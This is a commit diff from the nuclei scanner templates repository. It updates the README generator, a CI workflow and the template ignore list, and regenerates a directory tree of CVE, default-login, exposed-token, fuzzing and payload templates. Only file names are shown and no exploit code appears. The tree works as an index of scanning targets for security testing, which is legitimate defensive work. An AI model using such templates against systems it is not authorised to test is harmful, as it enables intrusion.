Update CVE-2020-5410.yaml

BaseURL updates
Auto Update README [Thu Jan 14 14:11:28 UTC 2021] 🤖
2026-11-07 08:36:19 -10:00 · 2021-01-14 20:21:36 +05:30 · 2021-01-14 20:11:56 +05:30 · 2021-01-14 14:11:28 +00:00 · 2021-01-14 19:40:22 +05:30 · 2021-01-14 06:57:45 +00:00
460 changed files with 5672 additions and 1254 deletions
@@ -9,23 +9,35 @@ f"""

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+# Resources

-### Nuclei templates `{version}` overview
+- [Templates](#nuclei-templates-overview)
+- [Documentation](#-documentation)
+- [Contributions](#-contributions)
+- [Discussion](#-discussion)
+- [Community](#-community)
+- [Notes](#-notes)

-| Templates | Counts | Templates | Counts |
-|----|----|----|----|
-| cves | {countTpl("cves")} | files | {countTpl("files")} |
-| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
-| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
-| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
-| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
-| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
-| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
-| wordlists | {countTpl("wordlists")} |
+### Nuclei templates overview
+-----
+
+An overview of the nuclei template directory including number of templates associated with each directory. 


-### Nuclei templates `{version}` tree overview
+**Directory structure of nuclei templates:**
+
+| Templates       | Counts                          | Templates        | Counts                         |
+| --------------- | ------------------------------- | ---------------- | ------------------------------ |
+| cves            | {countTpl("cves/*")}            | default-logins   | {countTpl("default-logins/*")} |
+| dns             | {countTpl("dns")}               | exposed-panels   | {countTpl("exposed-panels")}   |
+| exposed-tokens  | {countTpl("exposed-tokens/*")}  | exposures        | {countTpl("exposures/*")}      |
+| fuzzing         | {countTpl("fuzzing")}           | helpers          | {countTpl("helpers/*")}        |
+| miscellaneous   | {countTpl("miscellaneous")}     | misconfiguration | {countTpl("misconfiguration")} |
+| takeovers       | {countTpl("takeovers")}         | technologies     | {countTpl("technologies")}     |
+| vulnerabilities | {countTpl("vulnerabilities/*")} | workflows        | {countTpl("workflows")}        |
+
+
+**Tree structure of nuclei templates:**

 <details>
 <summary> Nuclei templates </summary>
@@ -38,12 +50,30 @@ An overview of the nuclei template directory including number of templates and H

 **{command("tree", -2, None)}**.

-Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.

------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
 """
@@ -1,9 +1,9 @@
 #!/usr/bin/env python3
-import os
+import glob
 import subprocess

 def countTpl(path):
-	return len(os.listdir(path))
+	return len(glob.glob(path + "/*.*"))

 def command(args, start=None, end=None):
 	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
@@ -4,10 +4,14 @@ on:
  push:
    branches:
      - master
+  create:
+    tags:
+      - v*

 jobs:
  build:
    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Install tree
        run: sudo apt-get install tree -y
@@ -37,4 +41,4 @@ jobs:
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: ${{ github.ref }}
+          branch: ${{ github.ref }}
@@ -1,12 +1,39 @@
+# ==| Nuclei Templates Ignore list |==
+# ====================================
+#
+# This list can be used to define template/s that will be blocked from execution.
+# When a folder/directory is listed under this list, the templates within folder can be executed only when running them directly.
+# For example, "nuclei -t fuzzing" will not work, "nuclei -t fuzzing/wp-plugin-scan.yaml" will be executed.
+# 
+# Why ignore list? - To ensure nuclei is not getting used to hammer the every web server with templates that are meant to be used for specific use cases. 
+# and that doesn't mean nuclei won't let you run these templates. if you know what you are doing, feel free to updates this list locally as per your need.
+#
+# This list also can be used to ignore templates that you wanted to exclude from every scan.
+# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
+
 .pre-commit-config.yaml
-security-misconfiguration/missing-x-frame-options.yaml
-security-misconfiguration/missing-hsts.yaml
-security-misconfiguration/missing-csp.yaml
-security-misconfiguration/basic-cors-flash.yaml
-cves/CVE-2017-7529.yaml
-cves/CVE-2020-13379.yaml
-cves/CVE-2013-2251.yaml
-vulnerabilities/x-forwarded-host-injection.yaml
+cves/2013/CVE-2013-2251.yaml
+cves/2017/CVE-2017-7529.yaml	
+cves/2020/CVE-2020-13379.yaml	
+cves/2020/CVE-2020-16139.yaml
+
+# Fuzzing is excluded to avoid running bruteforce on every server as default.
 fuzzing/
-wordlists/
+
+# Wordlist directory contains payload to be used with templates. 
+helpers/
+miscellaneous/
+
+# Workflows are excluded from default run to avoid duplicate scans.
 workflows/
+
+# Adding older folder to avoid possilbe issue with nuclei ignore execution.
+misc/
+default-credentials/
+files/
+generic-detections/
+panels/
+payloads/
+security-misconfiguration/
+subdomain-takeover/
+tokens/
@@ -9,23 +9,35 @@

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+# Resources

-### Nuclei templates `v7.2.6` overview
+- [Templates](#nuclei-templates-overview)
+- [Documentation](#-documentation)
+- [Contributions](#-contributions)
+- [Discussion](#-discussion)
+- [Community](#-community)
+- [Notes](#-notes)

-| Templates | Counts | Templates | Counts |
-|----|----|----|----|
-| cves | 136 | files | 46 |
-| vulnerabilities | 39 | panels | 40 |
-| technologies | 38 | security-misconfiguration | 28 |
-| workflows | 16 | tokens | 8 |
-| dns | 6 | fuzzing | 5 |
-| generic-detections | 3 | default-credentials | 3 |
-| subdomain-takeover | 2 | payloads | 2 |
-| wordlists | 1 |
+### Nuclei templates overview
+-----
+
+An overview of the nuclei template directory including number of templates associated with each directory. 


-### Nuclei templates `v7.2.6` tree overview
+**Directory structure of nuclei templates:**
+
+| Templates       | Counts                          | Templates        | Counts                         |
+| --------------- | ------------------------------- | ---------------- | ------------------------------ |
+| cves            | 154            | default-logins   | 8 |
+| dns             | 6               | exposed-panels   | 73   |
+| exposed-tokens  | 9  | exposures        | 40      |
+| fuzzing         | 5           | helpers          | 3        |
+| miscellaneous   | 14     | misconfiguration | 37 |
+| takeovers       | 1         | technologies     | 43     |
+| vulnerabilities | 62 | workflows        | 16        |
+
+
+**Tree structure of nuclei templates:**

 <details>
 <summary> Nuclei templates </summary>
@@ -34,146 +46,185 @@ An overview of the nuclei template directory including number of templates and H
 ├── LICENSE.md
 ├── README.md
 ├── cves
-│   ├── CVE-2005-2428.yaml
-│   ├── CVE-2013-2251.yaml
-│   ├── CVE-2014-6271.yaml
-│   ├── CVE-2017-10075.yaml
-│   ├── CVE-2017-11444.yaml
-│   ├── CVE-2017-14537.yaml
-│   ├── CVE-2017-14849.yaml
-│   ├── CVE-2017-5638.yaml
-│   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7615.yaml
-│   ├── CVE-2017-9506.yaml
-│   ├── CVE-2017-9841.yaml
-│   ├── CVE-2018-0296.yaml
-│   ├── CVE-2018-1000129.yaml
-│   ├── CVE-2018-11409.yaml
-│   ├── CVE-2018-11759.yaml
-│   ├── CVE-2018-1247.yaml
-│   ├── CVE-2018-1271.yaml
-│   ├── CVE-2018-1273.yaml
-│   ├── CVE-2018-13379.yaml
-│   ├── CVE-2018-14728.yaml
-│   ├── CVE-2018-16341.yaml
-│   ├── CVE-2018-16763.yaml
-│   ├── CVE-2018-17431.yaml
-│   ├── CVE-2018-18069.yaml
-│   ├── CVE-2018-19386.yaml
-│   ├── CVE-2018-19439.yaml
-│   ├── CVE-2018-20824.yaml
-│   ├── CVE-2018-2791.yaml
-│   ├── CVE-2018-3714.yaml
-│   ├── CVE-2018-3760.yaml
-│   ├── CVE-2018-5230.yaml
-│   ├── CVE-2018-7490.yaml
-│   ├── CVE-2019-1010287.yaml
-│   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11043.yaml
-│   ├── CVE-2019-11248.yaml
-│   ├── CVE-2019-11510.yaml
-│   ├── CVE-2019-11580.yaml
-│   ├── CVE-2019-12314.yaml
-│   ├── CVE-2019-12461.yaml
-│   ├── CVE-2019-12593.yaml
-│   ├── CVE-2019-14322.yaml
-│   ├── CVE-2019-14696.yaml
-│   ├── CVE-2019-14974.yaml
-│   ├── CVE-2019-15043.yaml
-│   ├── CVE-2019-15107.yaml
-│   ├── CVE-2019-15858.yaml
-│   ├── CVE-2019-16278.yaml
-│   ├── CVE-2019-1653.yaml
-│   ├── CVE-2019-16662.yaml
-│   ├── CVE-2019-16759-1.yaml
-│   ├── CVE-2019-16759.yaml
-│   ├── CVE-2019-16920.yaml
-│   ├── CVE-2019-17382.yaml
-│   ├── CVE-2019-17558.yaml
-│   ├── CVE-2019-18394.yaml
-│   ├── CVE-2019-19368.yaml
-│   ├── CVE-2019-19781.yaml
-│   ├── CVE-2019-19908.yaml
-│   ├── CVE-2019-19985.yaml
-│   ├── CVE-2019-20141.yaml
-│   ├── CVE-2019-2588.yaml
-│   ├── CVE-2019-2725.yaml
-│   ├── CVE-2019-3396.yaml
-│   ├── CVE-2019-3402.yaml
-│   ├── CVE-2019-3799.yaml
-│   ├── CVE-2019-5418.yaml
-│   ├── CVE-2019-6112.yaml
-│   ├── CVE-2019-6715.yaml
-│   ├── CVE-2019-7256.yaml
-│   ├── CVE-2019-7609.yaml
-│   ├── CVE-2019-8442.yaml
-│   ├── CVE-2019-8449.yaml
-│   ├── CVE-2019-8451.yaml
-│   ├── CVE-2019-8903.yaml
-│   ├── CVE-2019-8982.yaml
-│   ├── CVE-2019-9670.yaml
-│   ├── CVE-2019-9978.yaml
-│   ├── CVE-2020-10199.yaml
-│   ├── CVE-2020-10204.yaml
-│   ├── CVE-2020-11034.yaml
-│   ├── CVE-2020-1147.yaml
-│   ├── CVE-2020-12116.yaml
-│   ├── CVE-2020-12720.yaml
-│   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13942.yaml
-│   ├── CVE-2020-14179.yaml
-│   ├── CVE-2020-14181.yaml
-│   ├── CVE-2020-14815.yaml
-│   ├── CVE-2020-14864.yaml
-│   ├── CVE-2020-14882.yaml
-│   ├── CVE-2020-15129.yaml
-│   ├── CVE-2020-15505.yaml
-│   ├── CVE-2020-15920.yaml
-│   ├── CVE-2020-16139.yaml
-│   ├── CVE-2020-16846.yaml
-│   ├── CVE-2020-16952.yaml
-│   ├── CVE-2020-17505.yaml
-│   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2096.yaml
-│   ├── CVE-2020-2140.yaml
-│   ├── CVE-2020-24223.yaml
-│   ├── CVE-2020-24312.yaml
-│   ├── CVE-2020-2551.yaml
-│   ├── CVE-2020-25540.yaml
-│   ├── CVE-2020-26214.yaml
-│   ├── CVE-2020-3187.yaml
-│   ├── CVE-2020-3452.yaml
-│   ├── CVE-2020-5284.yaml
-│   ├── CVE-2020-5405.yaml
-│   ├── CVE-2020-5410.yaml
-│   ├── CVE-2020-5412.yaml
-│   ├── CVE-2020-5776.yaml
-│   ├── CVE-2020-5777.yaml
-│   ├── CVE-2020-5902.yaml
-│   ├── CVE-2020-6287.yaml
-│   ├── CVE-2020-7209.yaml
-│   ├── CVE-2020-7961.yaml
-│   ├── CVE-2020-8091.yaml
-│   ├── CVE-2020-8115.yaml
-│   ├── CVE-2020-8163.yaml
-│   ├── CVE-2020-8191.yaml
-│   ├── CVE-2020-8193.yaml
-│   ├── CVE-2020-8194.yaml
-│   ├── CVE-2020-8209.yaml
-│   ├── CVE-2020-8512.yaml
-│   ├── CVE-2020-8982.yaml
-│   ├── CVE-2020-9047.yaml
-│   ├── CVE-2020-9344.yaml
-│   ├── CVE-2020-9484.yaml
-│   ├── CVE-2020-9496.yaml
-│   ├── CVE-2020-9757.yaml
-│   ├── cve-2017-12637.yaml
-│   ├── cve-2019-9733.yaml
-│   └── cve-2020-0618.yaml
-├── default-credentials
-│   ├── grafana-default-credential.yaml
-│   ├── rabbitmq-default-admin.yaml
-│   └── tomcat-manager-default.yaml
+│   ├── 2005
+│   │   └── CVE-2005-2428.yaml
+│   ├── 2008
+│   │   └── CVE-2008-2398.yaml
+│   ├── 2013
+│   │   └── CVE-2013-2251.yaml
+│   ├── 2014
+│   │   └── CVE-2014-6271.yaml
+│   ├── 2017
+│   │   ├── CVE-2017-10075.yaml
+│   │   ├── CVE-2017-11444.yaml
+│   │   ├── CVE-2017-12637.yaml
+│   │   ├── CVE-2017-14537.yaml
+│   │   ├── CVE-2017-14849.yaml
+│   │   ├── CVE-2017-5638.yaml
+│   │   ├── CVE-2017-7391.yaml
+│   │   ├── CVE-2017-7615.yaml
+│   │   ├── CVE-2017-9506.yaml
+│   │   └── CVE-2017-9841.yaml
+│   ├── 2018
+│   │   ├── CVE-2018-0296.yaml
+│   │   ├── CVE-2018-1000129.yaml
+│   │   ├── CVE-2018-11409.yaml
+│   │   ├── CVE-2018-11759.yaml
+│   │   ├── CVE-2018-1247.yaml
+│   │   ├── CVE-2018-1271.yaml
+│   │   ├── CVE-2018-1273.yaml
+│   │   ├── CVE-2018-13379.yaml
+│   │   ├── CVE-2018-13380.yaml
+│   │   ├── CVE-2018-14728.yaml
+│   │   ├── CVE-2018-16341.yaml
+│   │   ├── CVE-2018-16763.yaml
+│   │   ├── CVE-2018-17431.yaml
+│   │   ├── CVE-2018-18069.yaml
+│   │   ├── CVE-2018-19386.yaml
+│   │   ├── CVE-2018-19439.yaml
+│   │   ├── CVE-2018-20824.yaml
+│   │   ├── CVE-2018-2791.yaml
+│   │   ├── CVE-2018-3714.yaml
+│   │   ├── CVE-2018-3760.yaml
+│   │   ├── CVE-2018-5230.yaml
+│   │   ├── CVE-2018-7251.yaml
+│   │   ├── CVE-2018-7490.yaml
+│   │   └── CVE-2018-8006.yaml
+│   ├── 2019
+│   │   ├── CVE-2019-10092.yaml
+│   │   ├── CVE-2019-1010287.yaml
+│   │   ├── CVE-2019-10475.yaml
+│   │   ├── CVE-2019-11248.yaml
+│   │   ├── CVE-2019-11510.yaml
+│   │   ├── CVE-2019-11580.yaml
+│   │   ├── CVE-2019-11581.yaml
+│   │   ├── CVE-2019-11869.yaml
+│   │   ├── CVE-2019-12314.yaml
+│   │   ├── CVE-2019-12461.yaml
+│   │   ├── CVE-2019-12593.yaml
+│   │   ├── CVE-2019-12725.yaml
+│   │   ├── CVE-2019-14223.yaml
+│   │   ├── CVE-2019-14322.yaml
+│   │   ├── CVE-2019-14696.yaml
+│   │   ├── CVE-2019-14974.yaml
+│   │   ├── CVE-2019-15043.yaml
+│   │   ├── CVE-2019-15107.yaml
+│   │   ├── CVE-2019-15858.yaml
+│   │   ├── CVE-2019-16278.yaml
+│   │   ├── CVE-2019-1653.yaml
+│   │   ├── CVE-2019-16662.yaml
+│   │   ├── CVE-2019-16759-1.yaml
+│   │   ├── CVE-2019-16759.yaml
+│   │   ├── CVE-2019-16920.yaml
+│   │   ├── CVE-2019-17382.yaml
+│   │   ├── CVE-2019-17558.yaml
+│   │   ├── CVE-2019-18394.yaml
+│   │   ├── CVE-2019-19368.yaml
+│   │   ├── CVE-2019-19781.yaml
+│   │   ├── CVE-2019-19908.yaml
+│   │   ├── CVE-2019-19985.yaml
+│   │   ├── CVE-2019-20141.yaml
+│   │   ├── CVE-2019-2588.yaml
+│   │   ├── CVE-2019-2725.yaml
+│   │   ├── CVE-2019-3396.yaml
+│   │   ├── CVE-2019-3402.yaml
+│   │   ├── CVE-2019-3799.yaml
+│   │   ├── CVE-2019-5418.yaml
+│   │   ├── CVE-2019-6112.yaml
+│   │   ├── CVE-2019-6340.yaml
+│   │   ├── CVE-2019-6715.yaml
+│   │   ├── CVE-2019-7219.yaml
+│   │   ├── CVE-2019-7256.yaml
+│   │   ├── CVE-2019-7609.yaml
+│   │   ├── CVE-2019-8442.yaml
+│   │   ├── CVE-2019-8449.yaml
+│   │   ├── CVE-2019-8451.yaml
+│   │   ├── CVE-2019-8903.yaml
+│   │   ├── CVE-2019-8982.yaml
+│   │   ├── CVE-2019-9670.yaml
+│   │   ├── CVE-2019-9733.yaml
+│   │   ├── CVE-2019-9955.yaml
+│   │   └── CVE-2019-9978.yaml
+│   └── 2020
+│       ├── CVE-2020-0618.yaml
+│       ├── CVE-2020-10148.yaml
+│       ├── CVE-2020-10199.yaml
+│       ├── CVE-2020-10204.yaml
+│       ├── CVE-2020-11034.yaml
+│       ├── CVE-2020-1147.yaml
+│       ├── CVE-2020-11738.yaml
+│       ├── CVE-2020-12116.yaml
+│       ├── CVE-2020-12720.yaml
+│       ├── CVE-2020-13167.yaml
+│       ├── CVE-2020-13942.yaml
+│       ├── CVE-2020-14179.yaml
+│       ├── CVE-2020-14181.yaml
+│       ├── CVE-2020-14864.yaml
+│       ├── CVE-2020-14882.yaml
+│       ├── CVE-2020-15129.yaml
+│       ├── CVE-2020-15505.yaml
+│       ├── CVE-2020-15920.yaml
+│       ├── CVE-2020-16846.yaml
+│       ├── CVE-2020-16952.yaml
+│       ├── CVE-2020-17505.yaml
+│       ├── CVE-2020-17506.yaml
+│       ├── CVE-2020-17518.yaml
+│       ├── CVE-2020-17519.yaml
+│       ├── CVE-2020-1943.yaml
+│       ├── CVE-2020-2096.yaml
+│       ├── CVE-2020-2140.yaml
+│       ├── CVE-2020-23972.yaml
+│       ├── CVE-2020-24223.yaml
+│       ├── CVE-2020-24312.yaml
+│       ├── CVE-2020-2551.yaml
+│       ├── CVE-2020-25540.yaml
+│       ├── CVE-2020-26214.yaml
+│       ├── CVE-2020-3187.yaml
+│       ├── CVE-2020-3452.yaml
+│       ├── CVE-2020-4463.yaml
+│       ├── CVE-2020-5284.yaml
+│       ├── CVE-2020-5405.yaml
+│       ├── CVE-2020-5410.yaml
+│       ├── CVE-2020-5412.yaml
+│       ├── CVE-2020-5776.yaml
+│       ├── CVE-2020-5777.yaml
+│       ├── CVE-2020-5902.yaml
+│       ├── CVE-2020-6287.yaml
+│       ├── CVE-2020-7209.yaml
+│       ├── CVE-2020-7318.yaml
+│       ├── CVE-2020-7961.yaml
+│       ├── CVE-2020-8091.yaml
+│       ├── CVE-2020-8115.yaml
+│       ├── CVE-2020-8163.yaml
+│       ├── CVE-2020-8191.yaml
+│       ├── CVE-2020-8193.yaml
+│       ├── CVE-2020-8194.yaml
+│       ├── CVE-2020-8209.yaml
+│       ├── CVE-2020-8512.yaml
+│       ├── CVE-2020-8982.yaml
+│       ├── CVE-2020-9047.yaml
+│       ├── CVE-2020-9344.yaml
+│       ├── CVE-2020-9376.yaml
+│       ├── CVE-2020-9484.yaml
+│       ├── CVE-2020-9496.yaml
+│       └── CVE-2020-9757.yaml
+├── default-logins
+│   ├── activemq
+│   │   └── activemq-default-login.yaml
+│   ├── ambari
+│   │   └── ambari-default-credentials.yaml
+│   ├── apache
+│   │   └── tomcat-manager-default.yaml
+│   ├── grafana
+│   │   └── grafana-default-credential.yaml
+│   ├── ofbiz
+│   │   └── ofbiz-default-credentials.yaml
+│   ├── rabbitmq
+│   │   └── rabbitmq-default-admin.yaml
+│   ├── solarwinds
+│   │   └── solarwinds-default-admin.yaml
+│   └── zabbix
+│       └── zabbix-default-credentials.yaml
 ├── dns
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
@@ -181,257 +232,372 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mx-service-detector.yaml
 │   ├── servfail-refused-hosts.yaml
 │   └── spoofable-spf-records-ptr.yaml
-├── files
-│   ├── apc-info.yaml
-│   ├── cgi-test-page.yaml
-│   ├── dir-listing.yaml
-│   ├── docker-registry.yaml
-│   ├── domcfg-page.yaml
-│   ├── druid-monitor.yaml
-│   ├── drupal-install.yaml
-│   ├── ds_store.yaml
-│   ├── elasticsearch.yaml
-│   ├── elmah-log-file.yaml
-│   ├── error-logs.yaml
-│   ├── exposed-kibana.yaml
-│   ├── exposed-svn.yaml
-│   ├── filezilla.yaml
-│   ├── firebase-detect.yaml
-│   ├── git-config.yaml
-│   ├── htaccess-config.yaml
-│   ├── jkstatus-manager.yaml
-│   ├── jolokia.yaml
-│   ├── laravel-env.yaml
-│   ├── lazy-file.yaml
-│   ├── magento-config.yaml
-│   ├── ntlm-directories.yaml
-│   ├── php-errors.yaml
-│   ├── phpinfo.yaml
-│   ├── public-tomcat-instance.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
-│   ├── server-status-localhost.yaml
-│   ├── shell-history.yaml
-│   ├── sql-dump.yaml
-│   ├── telerik-dialoghandler-detect.yaml
-│   ├── telerik-fileupload-detect.yaml
-│   ├── tomcat-scripts.yaml
-│   ├── wadl-files.yaml
-│   ├── web-config.yaml
-│   ├── wordpress-db-backup.yaml
-│   ├── wordpress-debug-log.yaml
-│   ├── wordpress-directory-listing.yaml
-│   ├── wordpress-emergency-script.yaml
-│   ├── wordpress-installer-log.yaml
-│   ├── wordpress-tmm-db-migrate.yaml
-│   ├── wordpress-user-enumeration.yaml
-│   ├── wp-xmlrpc.yaml
-│   ├── wsdl-detect.yaml
-│   └── zip-backup-files.yaml
-├── fuzzing
-│   ├── arbitrary-file-read.yaml
-│   ├── basic-auth-bruteforce.yaml
-│   ├── directory-traversal.yaml
-│   ├── generic-lfi-fuzzing.yaml
-│   └── wp-plugin-scan.yaml
-├── generic-detections
-│   ├── basic-xss-prober.yaml
-│   ├── general-tokens.yaml
-│   └── top-15-xss.yaml
-├── panels
+├── exposed-panels
+│   ├── active-admin-exposure.yaml
+│   ├── activemq-panel.yaml
 │   ├── adminer-panel.yaml
 │   ├── aims-password-mgmt-client.yaml
+│   ├── airflow-exposure.yaml
+│   ├── ambari-exposure.yaml
+│   ├── ansible-tower-exposure.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
-│   ├── compal.yaml
+│   ├── citrix-vpn-detect.yaml
+│   ├── compal-panel.yaml
+│   ├── couchdb-exposure.yaml
+│   ├── couchdb-fauxton.yaml
 │   ├── crxde.yaml
-│   ├── docker-api.yaml
+│   ├── django-admin-panel.yaml
+│   ├── druid-console-exposure.yaml
+│   ├── exposed-pagespeed-global-admin.yaml
+│   ├── exposed-webalizer.yaml
+│   ├── flink-exposure.yaml
 │   ├── fortinet-fortigate-panel.yaml
+│   ├── fortiweb-panel.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
 │   ├── globalprotect-panel.yaml
 │   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
+│   ├── hadoop-exposure.yaml
+│   ├── identityguard-selfservice-entrust.yaml
 │   ├── iomega-lenovo-emc-shared-nas-detect.yaml
-│   ├── jenkins-asyncpeople.yaml
+│   ├── jira-detect.yaml
 │   ├── jmx-console.yaml
-│   ├── kubernetes-pods.yaml
+│   ├── kafka-connect-ui.yaml
+│   ├── kafka-monitoring.yaml
+│   ├── kafka-topics-ui.yaml
+│   ├── kubernetes-dashboard.yaml
 │   ├── manage-engine-admanager-panel.yaml
 │   ├── mobileiron-login.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
+│   ├── oipm-detect.yaml
 │   ├── parallels-html-client.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
+│   ├── prometheus-exporter-detect.yaml
+│   ├── public-tomcat-manager.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
+│   ├── rocketmq-console-exposure.yaml
+│   ├── rsa-self-service.yaml
+│   ├── sap-hana-xsengine-panel.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
+│   ├── selenoid-ui-exposure.yaml
+│   ├── setup-page-exposure.yaml
+│   ├── solarwinds-orion.yaml
+│   ├── solr-exposure.yaml
 │   ├── sonarqube-login.yaml
 │   ├── sonicwall-management-panel.yaml
 │   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
-│   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
 │   ├── traefik-dashboard.yaml
 │   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
+│   ├── webmin-panel.yaml
 │   ├── workspace-one-uem.yaml
-│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
-├── payloads
-│   ├── CVE-2020-5776.csv
-│   └── CVE-2020-6287.xml
-├── security-misconfiguration
-│   ├── apache-tomcat-snoop.yaml
+│   ├── workspaceone-uem-airwatch-dashboard-detect.yaml
+│   ├── yarn-manager-exposure.yaml
+│   └── zipkin-exposure.yaml
+├── exposed-tokens
+│   ├── aws
+│   │   ├── amazon-mws-auth-token-value.yaml
+│   │   └── aws-access-key-value.yaml
+│   ├── generic
+│   │   ├── credentials-disclosure.yaml
+│   │   ├── general-tokens.yaml
+│   │   └── http-username-password.yaml
+│   ├── google
+│   │   ├── fcm-server-key.yaml
+│   │   └── google-api-key.yaml
+│   ├── mailchimp
+│   │   └── mailchimp-api-key.yaml
+│   └── slack
+│       └── slack-access-token.yaml
+├── exposures
+│   ├── apis
+│   │   ├── swagger-api.yaml
+│   │   ├── wadl-api.yaml
+│   │   └── wsdl-api.yaml
+│   ├── backups
+│   │   ├── sql-dump.yaml
+│   │   └── zip-backup-files.yaml
+│   ├── configs
+│   │   ├── airflow-configuration-exposure.yaml
+│   │   ├── amazon-docker-config-disclosure.yaml
+│   │   ├── ansible-config-disclosure.yaml
+│   │   ├── composer-config.yaml
+│   │   ├── exposed-svn.yaml
+│   │   ├── git-config-nginxoffbyslash.yaml
+│   │   ├── git-config.yaml
+│   │   ├── htpasswd-detection.yaml
+│   │   ├── laravel-env.yaml
+│   │   ├── magento-config.yaml
+│   │   ├── opcache-status-exposure.yaml
+│   │   ├── owncloud-config.yaml
+│   │   ├── package-json.yaml
+│   │   ├── perl-status.yaml
+│   │   ├── phpinfo.yaml
+│   │   ├── rails-database-config.yaml
+│   │   ├── redmine-db-config.yaml
+│   │   ├── server-status-localhost.yaml
+│   │   ├── syfmony-profiler.yaml
+│   │   ├── symfony-database-config.yaml
+│   │   ├── symfony-profiler.yaml
+│   │   └── web-config.yaml
+│   ├── files
+│   │   ├── domcfg-page.yaml
+│   │   ├── drupal-install.yaml
+│   │   ├── ds_store.yaml
+│   │   ├── exposed-alps-spring.yaml
+│   │   ├── filezilla.yaml
+│   │   ├── lazy-file.yaml
+│   │   ├── server-private-keys.yaml
+│   │   └── xprober-service.yaml
+│   └── logs
+│       ├── elmah-log-file.yaml
+│       ├── error-logs.yaml
+│       ├── rails-debug-mode.yaml
+│       ├── struts-debug-mode.yaml
+│       └── trace-axd-detect.yaml
+├── fuzzing
+│   ├── arbitrary-file-read.yaml
+│   ├── directory-traversal.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   ├── iis-shortname.yaml
+│   └── wp-plugin-scan.yaml
+├── helpers
+│   ├── payloads
+│   │   ├── CVE-2020-5776.csv
+│   │   └── CVE-2020-6287.xml
+│   └── wordlists
+│       └── wp-plugins.txt
+├── miscellaneous
 │   ├── basic-cors-flash.yaml
-│   ├── basic-cors.yaml
-│   ├── django-debug-detect.yaml
-│   ├── drupal-user-enum-ajax.yaml
-│   ├── drupal-user-enum-redirect.yaml
-│   ├── front-page-misconfig.yaml
-│   ├── jira-service-desk-signup.yaml
-│   ├── jira-unauthenticated-dashboards.yaml
-│   ├── jira-unauthenticated-popular-filters.yaml
-│   ├── jira-unauthenticated-projects.yaml
